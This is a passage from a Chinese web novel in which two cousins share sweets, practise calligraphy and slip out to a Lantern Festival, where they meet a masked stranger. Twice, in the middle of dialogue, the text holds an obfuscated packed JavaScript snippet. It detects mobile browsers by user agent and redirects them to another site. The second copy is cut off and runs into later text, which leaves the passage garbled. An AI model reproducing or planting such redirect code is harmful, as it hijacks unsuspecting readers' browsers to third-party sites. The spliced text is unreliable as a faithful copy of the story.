修令曦自顾自说着,拆了线绳,里面的糕点清甜扑鼻,何怀幸吞了吞口水,但现下又有些不好意思,于是坐在椅子上没动,也没回他的话只顾着埋头翻书,不过余光忍不住瞟过去。 修令曦打开了糕点,问:“你看看,想吃哪种?” 她这才抬头,假装一本正经的样子,合上书慢吞吞探身看过去。 她想吃又犹豫要不要伸手拿。 修令曦捻起一块红豆糕,适时递给她,说:“你尝尝这个好不好吃?” 何怀幸接过浅尝辄止,但眼中的惊喜是掩盖不住的,红豆味很浓厚,甜而不腻,入口即化,一点不噎人。她吃着吃着,低迷的心绪渐次高涨起来,话也变得多了。 “二哥哪来的些?” 修令曦搬了张圆凳在旁边坐下,道:“老师给的。” 何怀幸咬着糕点,笑嘻嘻道:“二哥你也吃。” 修令曦说:“我不嗜甜,你吃。好吃吗?” 大概是这么多年以来,她能吃到的东西太匮乏了,所以她对食物总是有一种欲望,而当这一种欲望被填满的时候,其余烦心事也能暂时搁一搁。 “好吃!” 何怀幸心情十分愉悦,两只眼睛闪闪发光。 见她一副乐陶陶的样子,修令曦嘴角也不自觉上扬,说:“以后有的都给你吃。你试试这栗子糕。” “好。” 何怀幸一听嘴都笑咧了,拿起他指的那块吃。 栗子糕香甜,口感较为粗糙,中间嵌了半块熟的板栗,吃起来粉糯,带着甜味。 修令曦失笑问道:“心情好点没?” 何怀幸斜靠在椅背,姿势有些散漫,吃着糕点连连点头。 烛火晃动,地上人影成双,面前的人生龙活虎,修令曦忽然有些心酸,在她看过来时眨了下眼睛,朝她笑了笑。 剩下几块糕点何怀幸收起来,留着饿了吃。 修令曦蹲在地上收拢纸屑,问:“发生什么事?怎么生这么大的气,把书都撕了。手不痛吗?你伤都没好呢,要好好爱惜。” 地上的纸屑又多又厚,猜就是一本大部头的书,撕得这样碎,得费不少力,可见她当时心情多糟糕。 何怀幸捡起一片碎屑给他看,说:“这是女则诫文,舅母让我抄百遍,我不想抄。我不喜欢这样的书,太多规矩,让人很讨厌,让我心里不服气,不痛快,一怒之下就撕了。” 粗糙的纸面刻着墨色的字,上头写着:当自缢。 “凭什么天下女子就得遵从他们那些人定的规矩。”何怀幸咕囔着,很是气愤,道:“动不动就教人死,好不吉利!我偏要活!奈我何!” 修令曦支持道:“你说得对。那就不抄了。” 很快清理完,修令曦问她:“手上药了吗?今日好一点没有?” “下午涂了,晚上还没有。好多了,不碰它就不会痛了,就是还没消肿。” 她看了看手心,手掌肿得高高的。 修令曦道:“消肿还需几日,我给你上药吧。” “好。” 何怀幸就坐在灯下翻书,右手自然搁在一边让修令曦给她上药。 几日过后,手伤好得差不多,修令曦才肯教她写字。 他现在每日酉时结束练武之后就回将军府,不多在相府逗留,留他用膳也不肯,惹得覃鎏跃颇有微词。 “云頫你这么急着走做什么?怎么这几日都不留下陪我和你老师用晚膳了?” “我……”修令曦顿住,道:“我得回去同我小妹用膳。” 覃鎏跃疑惑:“你妹妹多大?她还要你陪?” 修令曦连忙摆手道:“不是不是,是我想回去陪她。她只比我小一岁。” 段蘅在一旁突然接道:“前几日你借的书,不是你自己看吧。” 修令曦点头,有些不好意思说:“被老师说中了,书是借给我表妹看的。” 段蘅问:“是之前你背过来那个犯头疾的小姑娘吗?” 修令曦答道:“对,是她。她是我姑姑的女儿,姑姑去世后,她一直住在将军府,同我自小相识。我们如今住在一个院子里。” 覃鎏跃那日去与旧友会面不在府里,好奇地问段蘅:“你还见过?” “见过,是个文气的孩子。”段蘅颔首,转而对修令曦温和笑道:“没事,往后要什么书,你只管去书阁取就好。” 修令曦拜道:“多谢老师。” 段蘅一笑,温声说:“回去吧。” 修令曦恭敬道:“学生告退。” 看着修令曦离开的背影,覃鎏跃摸着下巴,莫名感慨了一句:“表兄妹感情这么好,挺不错的。” 段蘅但笑不语,转身道:“走吧悯夫,咱们俩老人自己吃。” “诶——我说段兄,”覃鎏跃紧跟在后,说:“我可不老,别带我,我尚年轻呢,你说你自己就可以了。” 段蘅爽朗而笑,道:“悯夫呀,光阴如流水,哪儿有不老的道理啊!” …… 修令曦回来顺便去厨房帮何怀幸领了餐食,回来时她还在看书,两人一道用了膳。 修令曦今晚给她讲的还是《国策》,这里面记录的是圣国四分五裂时期,帝王的政治策略与谋士的主张。 不过《国策》年代久远,有些记录难免语焉不详。 他每讲完一则,便要她专心手抄一遍。 修令曦看着宣纸上的字,沉默良久。 字迹还算清晰,只是笔画间线条歪歪扭扭,字不成形,怎么看怎么别扭。 好丑。 字实在太丑了,修令曦也忍不住在心里腹诽,清秀的眉头皱了起来。 何怀幸羞愧放下笔,她也知道自己字写得丑,没办法,就从没人教过她写字。但她非愚笨之人,从前自己爱看话本,识文断字皆是自学,后来跟在修令曦身边看过的经文史书也不少,只是她没有握过笔。 修令曦盯着她的字看了半晌,斟酌道:“那今天就练习这篇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349344|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《士谏》吧。” 修令曦起身挪开椅子,站到她身后,将笔递给她,弯下腰握住她的手。 他的声音如环玉轻扣,边写边缓缓念道: “王欲攻岭南,士曰:‘其地百里,屯兵十万,攻之不胜,则死矣’。王恐之,问何解?士又曰:‘南州主恶,君何不之与其宝,使趋攻,再伐之。’王纳,三月伐岭南。” 松香的气味丝丝缕缕,钻进何怀幸的鼻腔,她的手被另一只温热的手覆盖,牵引着她,一笔一划,平稳规矩,字迹厚重端庄。 那颗浅浅的痣,就在她眼前晃来晃去。 修令曦心无杂念,眼睛始终在纸面的字上。 “手别抖。” 清冷的声音遏制她的思绪,何怀幸专注笔下,又听他道:“这个‘纳’字收尾勾得好。” 听到他的话,何怀幸眉目一舒,又自己照模照样写了一遍。 修令曦给她备了一套文房四宝,何怀幸整日在屋里看书练字,有不明白的地方就等到修令曦从相府回来教她,他也不懂的就记下来,第二日去问他老师,回来再告诉她。 相府书阁的书被她借了个遍。 她除了用膳、睡觉,所有的时间都花在文史笔墨之上,如此反复,不计春秋,不计酷暑与严寒。 但她常犯头疾,没有缘故,也没有缓解的方法,只是要比平日多睡两三个时辰,睡足了六个时辰,第二日便没事了。 于是只有这个时候,她才会停下来休息。 这日何怀幸在房中誊抄文章,写了一下午乏了,实在困得厉害,随手搁了笔,趴在桌上想小睡一会儿。 修令曦回来见她趴在桌案上睡,没忍心叫醒她,虽然早入了春,但春寒未退,这样睡是要病的,于是把她抱到塌上去了。 何怀幸迷迷糊糊躺着,睡着的身体猛然一动,被惊吓醒了,茫然望着他,修令曦才把她放下盖了被褥,也被她的动作吓住了,连忙问:“怎么了,怀幸?是不是做噩梦了?” “呸呸呸!”他拍了三下枕头,又像哄小孩似的轻轻拍了拍她的头,说:“别怕,别怕,摸摸头啊吓不着,妖魔鬼怪快快走,雷祖天尊来此家。” 何怀幸回过神,忍着笑,说:“二哥你说的都是些什么呀?我没事。” 修令曦十分认真地说:“之前在书上看的,做了噩梦这样可以把不好的东西赶走,就不会被吓到了。” 何怀幸说:“那是小孩子才这样哄吧。” 修令曦说:“你现在不就是小孩子吗?” 何怀幸一下愣住,还真是,差点忘了现在还是惠仁十二年。 “我今日抄了《南华经》,庄子在《齐物论》里言之‘昔者庄周梦为蝴蝶,栩栩然蝴蝶也,自喻适志与,不知周也。俄然觉,则蘧蘧然周也。不知周之梦为蝴蝶与,蝴蝶之梦为周与?周与蝴蝶,则必有分矣。此之谓物化。’二哥,我们不就像那入梦的庄周吗?不管是梦里的我们再回到此时,还是我们去梦见,终究也只是顺势而为。” 修令曦颔首道:“你说得没错,人生如梦,如镜中花,如水中月,天地渺渺,只是……” 何怀幸接道:“只是这一生,不容被辜负。” 修令曦点头,说:“一瞬很长,一生却很短。人们在一生中有太多瞬间都想抓住,可最终什么也抓不住。命运既然如此安排,那我们就顺应天时,尽力而为。” 何怀幸下了塌,说:“二哥懂我!” 直到她转过脸,修令曦才注意到她脸上沾了几个墨点,大概在趴着的时候不知道怎么蹭到了,他指了指自己的脸,说:“脸上,有墨。” “啊。”何怀幸不明所以,反应过来后,拿手背用力擦蹭了几下,问:“还有吗?” 修令曦却笑了,几个小墨点变成淡淡的长条印记在她脸上,他摇摇头说:“我去帮你打点水来,洗把脸吧。” “好。” 修令曦打了温水来,她擦干净脸,两人用完膳,她看到桌案上的点心,问:“二哥今日带回来的是什么?” 修令曦回道:“是桂花糕。” “我喜欢。”何怀幸很是惊喜,马上拆开吃了一块。 修令曦叮嘱道:“现在只能吃一块,才吃了饭,吃多了积食。” 何怀幸便收回手,没再吃了。 她看书到子时后总是饿得慌,一饿就馋得厉害,什么都想吃,可她又不好意思说,仍然正襟危坐地抄书稿。 修令曦常陪她到很晚,有一回听到她肚子咕噜噜叫,也没说话,但从那之后,他每日都会带不一样的点心回来给她。 27. 故人 惠仁十三年,上元节。 自从何怀幸两年前那一次被罚私逃之后,府里对她的管控更加严格了,原先的狗洞不知何时被堵上了,平日里根本没有机会出府,院门外还有两个婆子守着,只要她出了院门就寸步不离跟着她。 何怀幸索性窝在屋里,她终日沉迷与纸墨打交道,除了午时去领饭食,寻常一步也不出院子,晚食就让她二哥回来时顺带拿回来。 黄昏后,何怀幸捧着书坐在木樨树下,远空吹来的风万分柔和,高墙外是火树银花,御街上热闹的声音连她在院子里也能听见。 她放下书静静聆听那些隔着无数面墙传来的欢声笑语。 修令曦推门进来见她百无聊赖呆坐,望着外面的天空不知在想什么,他悄然靠近在她身旁坐下,手里的蜜饯自然地塞到她手上。 “在想什么?” “二哥!你回来了。” 何怀幸捧着蜜饯笑得眯了眯眼。 修令曦问道:“有心事?” 何怀幸咬着一颗蜜饯,摇头微微笑,过了一会儿道:“外面是不是很热闹?也不知道今年的花灯是什么样的,还跟以前一样吗?” “舅母肯定已经带令怡表妹出府去看花灯游街了吧。” 外面各家开始放起鞭炮,接二连三噼里啪啦响,风从两人发尾飘过,一两只归鸟啼叫着飞走了。 时令佳节,府里女眷出门游玩赏花灯都是允许的,只是平日里没有允许不准私自外出。 在她的记忆中距离她上一次上元节在京都看花灯,已经过去很久了,那些热闹的场面变得很模糊,但喜欢的花灯的样式倒还记得,是一只鱼灯。 修令曦便道:“不如今夜我们一起出去逛逛,说起来也许久没有好好逛一逛京都的上元节了。” 何怀幸低头,“可是我又出不去。” 修令曦拍了拍她的头,说:“没事,我带你出去。” “二哥你可别!”何怀幸吓得侧头瞪大眼睛看着他,带着一丝警告的意味说:“你的一举一动都会传到舅舅那,你千万不能乱来。” 修令曦笑了笑,说:“放心,我有别的办法。” 何怀幸问:“什么办法?” 修令曦说:“翻墙。” 何怀幸看了看高高的院墙,说:“这也太高了,我爬不上去。” 修令曦二话不说蹲在她面前,说:“上来吧。” “啊?什么?”何怀幸一时没反应过来,迟疑地趴在他背上。 修令曦背上她用轻功飞跳扒上院墙,再一个翻身轻巧落地。 惊呼声压在喉间,何怀幸吓得闭上了眼睛,再睁开眼睛就已经在高墙外了,她激动得不行,在修令曦背上扭来扭去,刚想说话又马上意识到不能被发现,凑近了他耳朵,悄声说:“二哥!你也太厉害了!” 以后她想出府,岂不是容易多了。 修令曦把她放下来,说:“之前师傅教我的这套轻功我还没学好,我自己一个人没问题,但不敢带你,怕会摔着你,所以就没说。现在我已经学会了,往后你想出府只管跟我说。” “太好了!” 何怀幸呼吸着空气里的硝烟味,心里的雀跃欢喜,像是一只被久关在笼子里的鸟飞了出来,飞向自由的天地。 “走走走,二哥,我们去看花灯。” 何怀幸拉着修令曦撒欢儿往前跑。 修令曦被她牵着走,对上她回过头的欢喜的目光,也不自觉笑容满面。 两人一路跑进川流不息的街,那里挂着各式华丽的彩灯,热闹非凡,杂耍的、说书的、猜灯谜的什么都有。 街头人挤人,何怀幸提着一只鱼灯在人群左看看右看看,太久没出来,她对什么都感到新奇,什么都想看上一眼,走马观花似的就一直从街头逛到街尾,还吃了许多份小吃食。 修令曦牵紧了怀幸的手怕二人走散,另一只手护着她免得她被人流撞到,他已经比何怀幸高出一个头,走在人群里就是一个清俊的少年郎,常也引得经过的人侧目而视。 过了桥是东街,恰好自在观也在那边,何怀幸就提议道:“二哥,我们要不去观里看看,求个愿也行。” 修令曦自然答应,两人走到自在观,进观先去拜了神像,在里面问了一圈谁也不知道二人说的那个老道士是谁,两人听了一位小道童的话,求了两张黄符保平安就离开了。 何怀幸把符纸塞进袖中和修令曦去买蜜饯果子,准备付钱的时候,何怀幸转头刚好看见卖糖葫芦的小贩走过,于是道:“二哥我去买糖葫芦。” 话说完人就跑开了,修令曦正掏钱给老板,一下没来得及叫住她。 一匹没拴住的的马不知从何处跑了出来,在街上横冲直撞,人群中惊叫声一片,大家四散跑开,周围乱哄哄的。 修令曦慌忙叫道:“怀幸!” 蜜饯果子他也不拿了,修令曦一个箭步冲过去拉开她。 何怀幸刚买好糖葫芦在原地吃了一口,根本没留意前方危险靠近,等到她反应过来想跑时,整个人已经被修令曦拉过搂在怀中,糖葫芦和鱼灯掉在地上,疯马从两人边上擦身而过,马蹄踏扁了地上的鱼灯和糖葫芦。 何怀幸被护着,头埋在他怀里惊魂未定。 修令曦一秒没耽搁,松开她立刻飞身上马抓住缰绳,竭力控住失狂的马,以免更多人受伤。 “路边的人快闪开!小心疯马撞人!” 疯马得以控制,众人纷纷鼓掌喝彩叫好,一人匆匆赶来连忙道歉。 “实在抱歉、实在抱歉,惊吓了大家,这马不知怎的发了疯跑了,多谢这位公子,不然还不知道惹出什么麻烦,多亏小公子仗义!” 修令曦道:“无事,下次烦请看牢些,尤其正逢佳节街上来来往往的人又多,万一伤了人就不好。” 文二道:“小公子说得是,以后一定注意,多谢,多谢。” 随后赶到的还有一位头戴幂篱的公子,得知是修令曦帮了忙,又向他道了谢。 “失礼,近日感了风寒,故此遮面,又因病恙,马太烈这才没能控住,让它跑了,吓到了诸位,幸亏小公子出手相帮,不然某的罪过就大了。小公子丰神俊朗、身手了得,又胆识过人,实在令人佩服,不知是哪家的郎君?某定登门拜谢。” 这人说话间咳嗽了几声,确实不像是装的。 修令曦还一礼道:“阁下无需客气,不过是遇见了顺手的事情。” 文二领了主子的话,包圆了一摊子蜜饯分发,向周围受惊的百姓赔不是。 何怀幸也被塞了一包,她拿着一包蜜饯走到修令曦身旁,叫了一声二哥,问:“你没伤着吧?” 正说话的两人闻声皆看向她。 修令曦回道:“我没事。” 陆齐愣在原地,目光死死盯住她,下意识脱口而出:“娇娇?” 街市嘈杂,何怀幸听偏了以为他喊的是自己的小名也怔住了。 “啊?” 修令曦甚觉奇怪,问道:“阁下认识吾妹?” 陆齐没答他的话,只盯着何怀幸,说:“娇娇独坐成愁绝。胡笳吹落关山月。关山月。春来秋去,几番圆缺。[1]你也……是叫这个名字吗?” 他掀起了纱帘,露出一张俊美苍白的脸。 何怀幸瞧他很脸熟,可一时没有想起来是在哪里见过,摇头说:“不是,只是我有个小名叫皎皎,是我方才听岔了。” 陆齐念了一遍她的小名,问道:“是悠悠我之思,皎皎兮美人?”[2] 何怀幸道:“是月之小,何皎皎。”[3] 在陆齐露出容貌后,修令曦不可思议地盯着他,这张脸和梦中着红袍的新郎官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她有些六神无主,抓住修令曦的手臂,说:“二哥,我不能嫁给他。” 修令曦手放在她手上,宽慰道:“你放心,我一定会帮你的。” 何怀幸脑子里乱成一团线球,根本不知道从哪里开始理清,她已经无心再游玩,两人便原路走回去。 回去的路上何怀幸头疾复发,一开始只是头嗡嗡地痛,还能忍。她一路忍着,快走到院墙时,她痛得几乎站不住,身体颤栗摇摇欲坠,只强撑着自己不倒下,她把头靠着修令曦,声音微弱地叫他:“二哥。” 然后就吐了一地。 修令曦赶忙扶住她,“你怎么了怀幸?” 她靠在他身上,说:“头痛。” 修令曦急忙要带她去看大夫,何怀幸制止他,说:“没用的,我已经痛了很多次了,回去睡一觉就好。” “很多次?”修令曦根本不知道,心中气忿,又不忍责怪,克制着道:“为什么都不跟我说?” 她的小名,她也从来没有对他提起过。 “小事,没关系的。” 修令曦讨厌她对他这么轻飘飘的一句话,就带过了关于她的事情。 “这不是小事。” 修令曦拿了帕子替她擦嘴,将她稳稳抱起跃过高墙,又稳稳落地。 “以后你有事不要瞒着我。” 何怀幸虚弱一笑,半翕眼说:“嗯,知道了。” 她不肯没洗漱就睡,修令曦只好帮她打水,拧了热毛巾给她擦脸、擦手、泡脚,她换了干净衣裳才合眼睡去。 屋里熄了灯,修令曦在她床旁守了一会儿,见她睡熟才离开。